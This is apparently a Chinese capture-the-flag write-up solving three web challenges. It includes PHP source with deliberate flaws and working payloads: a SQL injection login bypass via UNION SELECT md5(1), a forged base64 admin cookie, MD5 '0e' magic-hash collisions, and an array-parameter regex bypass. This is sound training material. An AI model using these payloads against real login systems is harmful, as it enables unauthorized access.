火星文 50
题目链接
http://47.100.121.220:28001/
解答
看到题目就判断为javascript的题目,把火星人A和火星人B的内容复制粘贴到控制台
A跑出来是一串密文,B跑出来是一个解密脚本
用户登录 100
题目链接
http://47.100.121.220:28002/
基本知识
mysql_query() 函数
mysql_query() 函数执行一条 MySQL 查询。
1
| mysql_query(query,connection)
|
参数 |
描述 |
query |
必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。 |
connection |
可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。 |
mysql_fetch_array() 函数
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
1
| mysql_fetch_array(data,array_type)
|
参数 |
描述 |
data |
可选。规定要使用的数据指针。该数据指针是 mysql_query() 函数产生的结果。 |
array_type |
可选。规定返回哪种结果。可能的值:MYSQL_ASSOC - 关联数组 MYSQL_NUM - 数字数组 MYSQL_BOTH - 默认。同时产生关联和数字数组 |
strcasecmp() 函数
strcasecmp() 函数比较两个字符串。
1
| strcasecmp(string1,string2)
|
参数 |
描述 |
string1 |
必需。规定要比较的第一个字符串。 |
string2 |
必需。规定要比较的第二个字符串。 |
以上是本题涉及到的几个函数。
解答
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php include "config.php"; include "flag.php";
show_source(__FILE__); if( isset($_POST["user"]) && isset($_POST["pass"])) { $user = $_POST["user"]; $pass = md5($_POST["pass"]); $auth = false; $conn = mysql_connect($db_host, $db_user, $db_pass) or die("Unable to connect!"); mysql_select_db($db_name) or die("Unable to select database!"); $sql = "select password from user where user='$user'"; $query = mysql_query($sql); if(!$query) { mysql_close($conn); die("login failed!"); } $row = mysql_fetch_array($query, MYSQL_ASSOC); if($row["password"] && !strcasecmp($pass,$row["password"])) { $auth = true; } mysql_close($conn); if($auth) { echo "login success!"; echo $flag; } else { die("login failed!"); } } ?>
|
1
| $sql = "select password from user where user='$user'
|
是存在SQL注入的,但是用户名和密码是分开判断。所以普通的万能密码是不行的。
\$row[“password”]的值是从$sql提取出来的,
然后经过
1
| $row["password"] && !strcasecmp($pass,$row["password"])
|
进行密码判断。
我们可以构造如下payload
1
| 'AND 0=1 UNION SELECT md(1) #
|
拼接到\$sql
1
| $sql = "select password from user where user=''AND 0=1 UNION SELECT md5(1) #"
|
- 最前面的单引号:闭合原文的where user=’
- AND 0=1:为了使前面的表达式返回值为空.
- 接着我们使用UNION SELECT MD5(1),直接把MD5值作为返回值returned给\$sql,这样在查询的时候\$query就会有值.
- 最后的#用来注释掉后面没用的东西
因此
1 2
| username:' and 0=1 union select md5(1)# password:1
|
You have no permissions 150
题目链接
http://47.100.121.220:28003/03.php
基础知识
implode() 函数
implode() 函数返回由数组元素组合成的字符串。
1
| implode(separator,array)
|
参数 |
描述 |
separator |
可选。规定数组元素之间放置的内容。默认是 “”(空字符串)。 |
array |
必需。要组合为字符串的数组。 |
解答
这个题目是绕了一点弯的,周六我做这个题是一点思路没有的
今天重新看了这个题,数据包里只有一个role的cookies。
经过一顿操作,发现这个是base64加密的,解密得到s:5:”guest”;
s:5:”guest”,看起来像一个序列化后的数据,这里我们把guest改成admin试试,admin的长度也是5
得到了czo1OiJhZG1pbiI7,替换cookie传入,进入终于有权限了。得到一份源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php $role = "guest"; $flag = "flag{xxxxxx}"; $auth = false; if(isset($_COOKIE["role"])) { if("admin"===unserialize(base64_decode($_COOKIE["role"]))) { $auth = true; echo "Hello admin, now you can upload something you are easy to forget.</br>"; echo "there are ther source.</br>"; if(isset($_POST["key1"])) { $key1 = $_POST["key1"]; $md51 = @md5($key1); $md52 = @md5('s155964671a'); if('s155964671a'!=$key1 && $md51==$md52) { if(isset($_POST["data"])) { $data = $_POST["data"]; $b1 = preg_match('/[<>?]/',$data); //0 $s = implode("",$data); $b2 = preg_match('/[<>?]/',$s); //1 if(!$b1 && $b2 ) die($flag); } } } $myfile = fopen("03.php", "r") or die("Unable to open file!"); $text = fread($myfile,filesize("03.php")); fclose($myfile); $text = str_replace("xxxxxx","xxxxxx",$text); echo '<textarea rows="10" cols="40" style="resize:none" >'; echo $text; } }
if(!$auth) { setcookie("role","czo1OiJndWVzdCI7"); echo "Sory.You have no permissions."; } ?>
|
分析代码,先看MD5这一块
1 2 3 4 5
| if(isset($_POST["key1"])) { $key1 = $_POST["key1"]; $md51 = @md5($key1); $md52 = @md5('s155964671a'); if('s155964671a'!=$key1 && $md51==$md52)
|
这里是利用PHP语言的弱类型特征:
- 1)将s155964671a进行MD5加密,密文为0e342768416822451524974117254469,发现密文为0e开头,PHP在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法。
- 2)因为0exx都等于0,所以让两者相等我们只需再找到一个MD5加密后开头为0e的字符串即可
- 3)相关字符串:
1 2
| md5('s878926199a')=0e545993274517709034328855841020 md5('QNKCDZO')=0e342768416822451524974117254469
|
这里我们就可以构造一个key变量,key的传入值为QNKCDZO或者s878926199a
继续看后面的代码,
1 2 3 4 5 6 7
| if(isset($_POST["data"])) { $data = $_POST["data"]; $b1 = preg_match('/[<>?]/',$data); //0 $s = implode("",$data); $b2 = preg_match('/[<>?]/',$s); //1 if(!$b1 && $b2 ) die($flag);
|
impode函数是把数组的元素组成字符串的,如注释\$b1需要返回0,\$b2需要返回1.
简单的做了个测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $data = array("/[<>?]/"); if($item = preg_match("/[<>?]/",$data)){ echo '1<hr />'; }else { echo '0<hr />'; }
$s = implode("",$data); echo $s ; echo '<hr />'; if($b2 = preg_match('/[<>?]/',$s)) { echo '1<hr />'; }else { echo '0<hr />'; } ?>
|
可以看出来,传入一个[<>?]是可以直接得到我们想要的返回值的。但是直接传data=[<>?]是不行的
这里我们可以这样传入 data[]=[<>?] 当做一个数组传入,符合了代码的意思
再做一个简单的测试
1 2 3 4 5
| <?php var_dump( $_POST["a"]); echo '<br>'; print_r( $_POST["a"]); ?>
|
这里我们可以看出我们这样传参就是传入了一个数组了。
最后的payload就是
1 2 3 4
| Cookie: role=czo1OiJhZG1pbiI7
POST: key1=s878926199a&data[]=[<>?]
|
得到flag